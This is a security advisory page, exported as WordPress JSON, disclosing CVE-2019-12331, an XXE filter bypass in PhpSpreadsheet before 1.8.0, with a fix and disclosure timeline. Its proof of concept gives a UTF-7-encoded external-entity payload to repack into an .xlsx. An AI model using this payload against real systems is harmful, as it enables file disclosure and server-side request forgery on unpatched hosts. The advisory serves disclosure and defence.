{"id":16619,"date":"2021-07-08T11:27:30","date_gmt":"2021-07-08T09:27:30","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2019-0046\/"},"modified":"2021-07-19T14:11:54","modified_gmt":"2021-07-19T12:11:54","slug":"usd-2019-0046","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2019-0046\/","title":{"rendered":"usd-2019-0046"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2019-0046 | PhpSpreadsheet &lt;1.8.0<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2019-0046<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2019-12331<\/span><br \/><strong>Affected Product<\/strong><span>: PhpSpreadsheet<\/span><br \/><strong>Affected Version<\/strong><span>: &lt;1.8.0<\/span><br \/><strong>Vulnerability Type<\/strong><span>: XML External Entity (XXE)<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/phpspreadsheet.readthedocs.io\/\" target=\"_blank\" rel=\"noopener\">https:\/\/phpspreadsheet.readthedocs.io\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than \u201eUTF-8\u201c is declared in the header.<\/span><br \/><span>This was a security measurement to prevent CVE-2018-19277. But the fix is not sufficient. By double encode the xml payload to utf-7<\/span><br \/><span>it is possible to bypass the check for the string \u201a&lt;!ENTITY\u2018. Furthermore, even though the entity loader gets disabled by calling libxml_disable_entity_loader() before<\/span><br \/><span>the security check, which only uses regexp, it gets enabled again before the xml is parsed with simplexml_load_string().<\/span><br \/><span>This leads to an enabled entity loader while parsing the .xml, no matter which PHP version is used.<\/span><br \/><span>Even though this example uses Reader\\Xlsx.php, all readers which directly feed the returned xml from the XmlScanner::load() method to simplexml_load_string()<\/span><br \/><span>should be vulnerable (xml, ods, html, gnumeric).<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>Put the content into sheet1.xml and repack a .xlsx file:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]+-ADwAIQ-DOCTYPE xmlrootname +-AFsAPAAh-ENTITY +-ACU aaa SYSTEM +-ACI-http:\/\/127.0.0.1:8080\/ext.dtd+-ACIAPgAl-aaa+-ADsAJQ-ccc+-ADsAJQ-ddd+-ADsAXQA+-<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>When loading the .xlsx the library tries to load ext.dtd from http:\/\/127.0.0.1.8080.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Fix the call to libxml_disable_entity_loader() and set the encoding from the xml file after the encoding to the correct value.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2019-05-27 Daniel Hoffmann discovered the bug<\/li>\n<li>2019-05-27 First contact attempt using mark@lange.demon.co.uk<\/li>\n<li>2019-06-17 Second contact attempt using mark@lange.demon.co.uk<\/li>\n<li>2019-06-17 Github Issue: https:\/\/github.com\/PHPOffice\/PhpSpreadsheet\/issues\/1014<\/li>\n<li>2019-07-09 Vendor releases fix: <a href=\"https:\/\/github.com\/PHPOffice\/PhpSpreadsheet\/commit\/0e6238c69e863b58aeece61e48ea032696c6dccd\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/PHPOffice\/PhpSpreadsheet\/commit\/0e6238c69e863b58aeece61e48ea032696c6dccd<\/a><\/li>\n<li>2019-10-21 First Published<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Daniel Hoffmann of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2019-0046 | PhpSpreadsheet &lt;1.8.0 Advisory ID: usd-2019-0046CVE Number: CVE-2019-12331Affected Product: PhpSpreadsheetAffected Version: &lt;1.8.0Vulnerability Type: XML External Entity (XXE)Security Risk: HighVendor URL: https:\/\/phpspreadsheet.readthedocs.io\/Vendor Status: Fixed Description The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than \u201eUTF-8\u201c is declared in the header.This was a security measurement to prevent CVE-2018-19277. But the fix [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16619","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16619","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16619"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16619\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}